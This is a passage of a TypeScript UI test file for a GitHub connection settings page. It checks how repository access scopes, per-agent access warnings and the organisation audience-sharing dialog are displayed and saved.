const repositoryNames = () => [...container.querySelectorAll('ul[aria-label="Accessible GitHub repositories"] a')].map((link) => link.textContent);
expect(repositoryNames()).toEqual(empty ? [] : ["paperclipai/first", "paperclipai/second", "dottabot/first"]);
if (empty) {
expect(container.querySelector('p[role="status"]')?.textContent?.trim()).toBe("No accessible repositories.");
expect(container.textContent).not.toContain("Refresh access to load the current repository list.");
}
expect(container.querySelector('[aria-label="Filter repositories by account or organization"]')).toBeNull();
expect(container.querySelector('input[aria-label="Search GitHub repositories"]')).toBeNull();
expect(container.querySelector('a[href="https://github.com/apps/paperclip-test/installations/new"]')?.textContent).toBe("Add More Repos on GitHub");
expect(updateConnectionMock).not.toHaveBeenCalled();
});
it("shows dedicated GitHub access as compact action rows and links to the agent", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
credentialPolicy: "per_agent",
authKind: "oauth",
}));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant()],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [],
});
await renderAppDetail();
expect(container.querySelector('a[href="/agents/coder"]')?.textContent).toContain("Used only by Coder");
expect(container.textContent).toContain("Repositories");
expect(container.textContent).toContain("1 selected repository");
expect(container.querySelector('a[href="https://github.com/dottabot"]')?.textContent).toBe("@dottabot");
expect(container.querySelector('a[href="https://github.com/paperclipai/test-repo"]')?.textContent).toBe("paperclipai/test-repo");
expect(container.querySelector(
'a[href="https://github.com/apps/paperclip-test/installations/new"]',
)?.textContent).toBe("Add More Repos on GitHub");
expect(container.querySelector('button[aria-label="Refresh access"]')).toBeTruthy();
expect(container.textContent).not.toContain("Installation");
expect(container.textContent).not.toContain("Token continuity");
expect(container.textContent).not.toContain("Webhook health");
expect(container.textContent).not.toContain("Last event");
expect(container.textContent).not.toContain("Last access refresh");
expect(container.textContent).not.toContain("Shell Git and gh use this account");
const askFirst = container.querySelector('button[aria-label="Read repo: Ask first"]');
expect(askFirst).toBeTruthy();
await act(async () => {
askFirst!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(container.textContent).toContain(
"Shell Git and gh use this account for the run and are not constrained by per-tool Ask-first controls.",
);
});
it("warns about all-repository GitHub access within the repository row", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
credentialPolicy: "per_agent",
authKind: "oauth",
}));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({}, {
repositoryCount: 0,
repositorySelection: "all",
})],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [],
});
await renderAppDetail();
expect(container.textContent).toContain("All current and future repositories");
expect(container.textContent).not.toContain("selected repositories");
});
it.each([
["mixed", "Mixed access; scope varies by installation"],
["none", "No repositories selected"],
] as const)("labels %s GitHub repository access explicitly", async (repositorySelection, expected) => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
credentialPolicy: "per_agent",
authKind: "oauth",
}));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({}, {
repositoryCount: 0,
repositorySelection,
})],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [],
});
await renderAppDetail();
expect(container.textContent).toContain(expected);
expect(container.textContent).not.toContain("selected repositories");
});
it("persists an empty audience as all organization members", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({ createdByUserId: "user-1" }));
replaceConnectionGrantMembersMock.mockResolvedValue(organizationGrant({ members: [] }));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [organizationGrant({
members: [{ id: "m-1", companyId: "company-1", grantId: "grant-org", subjectType: "user", subjectId: "user-2", createdAt: new Date() }],
})],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
],
});
await renderAppDetail();
expect(container.textContent).toContain("Anyone in your company can use this connection");
await act(async () => {
findButton("Manage access")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(document.body.querySelectorAll('[role="radio"]'))
.find((option) => option.textContent?.includes("All organization members"))
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(document.body.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Save audience")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
// "All members" is the empty set on the wire; the UI never says "empty".
expect(replaceConnectionGrantMembersMock).toHaveBeenCalledWith("conn-1", "grant-org", []);
});
it("persists a selected audience and keeps the dialog open when the server refuses", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({ createdByUserId: "user-1" }));
replaceConnectionGrantMembersMock.mockRejectedValue(
new Error("Every audience member must be an active company member"),
);
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [organizationGrant({ members: [] })],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
],
});
await renderAppDetail();
await act(async () => {
findButton("Manage access")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(document.body.querySelectorAll('[role="radio"]'))
.find((option) => option.textContent?.includes("Selected members"))
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(document.body.querySelectorAll("button"))
.find((button) => button.textContent?.includes("Choose people"))
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
document.body.querySelector('[aria-label="Allow Carol"]')
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(document.body.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Save audience")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(replaceConnectionGrantMembersMock).toHaveBeenCalledWith("conn-1", "grant-org", ["user-2"]);
// A denial keeps the dialog open with the selection intact and explains
// itself inline, rather than dropping the work into a toast.
const dialogText = document.body.textContent ?? "";
expect(dialogText).toContain("Who can use this identity");
expect(dialogText).toContain("Every audience member must be an active company member");
});
});